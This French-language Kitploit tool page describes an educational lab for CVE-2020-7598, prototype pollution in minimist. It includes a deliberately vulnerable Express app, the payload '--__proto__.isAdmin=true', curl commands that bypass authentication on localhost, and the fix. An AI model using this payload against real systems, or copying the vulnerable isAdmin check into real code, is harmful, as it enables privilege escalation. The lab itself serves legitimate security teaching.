Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-7598 — Labo éducatif démontrant la pollution de prototype CVE-2020-7598 dans minimist avec une application vulnérable Node.js/Express, charge utile d'exploitation et procédure pas à pas de contournement d'authentification pour la recherche en sécurité. | Kitploit
Outils/GitHubGitHub/renewablehacking/cve-2020-7598
Analyse StatiqueAnalyse des VulnérabilitésAnalyse de CodeExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

Labo éducatif démontrant la pollution de prototype CVE-2020-7598 dans minimist avec une application vulnérable Node.js/Express, charge utile d'exploitation et procédure pas à pas de contournement d'authentification pour la recherche en sécurité.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 2 moisPas encore vérifié

CVE-2020-7598 - Pollution de prototype dans minimist

Avertissement

Ce projet est créé uniquement pour :

  • l'apprentissage,
  • la recherche en sécurité,
  • et un laboratoire local privé.

Ne l'utilisez pas contre des systèmes sans autorisation.


À propos de CVE

CVE-2020-7598 est une vulnérabilité de pollution de prototype dans le package npm :

  • minimist
  • versions vulnérables :
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

Cette vulnérabilité permet à un attaquant de modifier :

root@kitploit:~
Object.prototype

via une charge utile comme :

root@kitploit:~
--__proto__.isAdmin=true

Conséquences :

  • tous les objets JavaScript peuvent hériter de propriétés dangereuses,
  • contournement d'authentification,
  • élévation de privilèges,
  • jusqu'à une chaîne menant à une exécution de code à distance (RCE) dans certaines conditions.

Fonctionnement de la pollution de prototype

En JavaScript :

root@kitploit:~
const user = {};

un objet vide hérite toujours des propriétés de :

root@kitploit:~
Object.prototype

Si un attaquant parvient à faire :

root@kitploit:~
Object.prototype.isAdmin = true;

alors :

root@kitploit:~
({}).isAdmin

retournera :

root@kitploit:~
true

pour tous les objets ordinaires.


Environnement de laboratoire

Dépendances

  • Node.js
  • Express
  • [email protected]

Installation

1. Cloner le dépôt

root@kitploit:~
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. Installer les dépendances

root@kitploit:~
npm install

OU manuellement :

root@kitploit:~
npm install express [email protected]

Code source

Créez le fichier :

root@kitploit:~
app.js

Contenu :

root@kitploit:~
const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulation de base de données utilisateur
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Point de terminaison vulnérable
*/
app.get("/parse", (req, res) => {

    /*
      Récupérer la requête brute
    */
    const payload = req.query.payload;

    /*
      Convertir en tableau d'arguments CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Analyse vulnérable
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Point de terminaison de connexion
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Logique d'authentification vulnérable
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

Lancer le serveur

root@kitploit:~
node app.js

Sortie :

root@kitploit:~
Server running on port 3000

Test normal

Connexion normale

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Sortie :

root@kitploit:~
{
  "success": true,
  "role": "USER"
}

Exploitation de CVE-2020-7598

Charge utile de pollution de prototype

Ouvrez le navigateur :

root@kitploit:~
http://localhost:3000/parse?payload=--__proto__.isAdmin=true

OU utilisez curl :

root@kitploit:~
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

Résultat de l'exploitation

Terminal du serveur :

root@kitploit:~
GLOBAL isAdmin: true

Cela signifie que :

root@kitploit:~
Object.prototype.isAdmin = true

a été modifié avec succès.


Connexion après exploitation

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Sortie :

root@kitploit:~
{
  "success": true,
  "role": "ADMIN"
}

Pourtant :

  • la base de données n'a pas changé,
  • le code source n'a pas changé,
  • l'utilisateur ne possède pas la propriété isAdmin.

Pourquoi devient-on ADMIN ?

Le code suivant :

root@kitploit:~
if(user.isAdmin)

ne vérifie pas seulement la propriété directe de l'objet.

JavaScript va chercher :

  1. la propriété propre de l'objet,
  2. puis la chaîne de prototypes.

Comme l'attaquant a réussi à modifier :

root@kitploit:~
Object.prototype.isAdmin = true

tous les objets ordinaires héritent de cette propriété.


Preuve de la pollution de prototype

Log du serveur :

root@kitploit:~
Own property: false
user.isAdmin: true

Signification :

  • isAdmin n'est pas une propriété propre de l'utilisateur,
  • mais héritée du prototype global.

Correctif

Version sécurisée de minimist :

root@kitploit:~
npm install minimist@latest

La version corrigée bloque :

  • __proto__
  • constructor
  • prototype

ainsi la pollution de prototype n'est plus possible.


Références

  • CVE : CVE-2020-7598
  • Package : minimist
  • CWE : CWE-1321 Pollution de prototype

Auteur

Le laboratoire et la documentation ont été créés à des fins d'apprentissage sur la sécurité des applications Node.js et la recherche sur la pollution de prototype.

Télécharger l’outil